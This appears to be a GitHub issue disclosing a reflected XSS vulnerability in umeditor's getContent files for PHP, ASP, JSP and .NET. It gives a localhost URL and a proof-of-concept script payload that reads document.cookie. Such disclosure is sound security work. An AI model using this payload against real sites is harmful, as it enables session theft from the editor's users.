fex-team/umeditor

I found a reflective XSS vulnerability in /php/getContent.php

yundiao opened this issue · 0 comments

Testing environment: localhost
Windows + firefox + phpStorm + apache2 + php5.4.45

I. Vulnerability analysis
/php/getContent.php
image

II. Exploit
image
url:
http://127.0.0.1/php/getcontent.php
payload:
myEditor=<script>alert(document.cookie)</script>
// "E" in the word myEditor must be capitalized.

The same vulnerability exists in all language versions of getContent files.
/asp/getContent.asp
image

/jsp/getContent.jsp
image

/net/getContent.ashx
image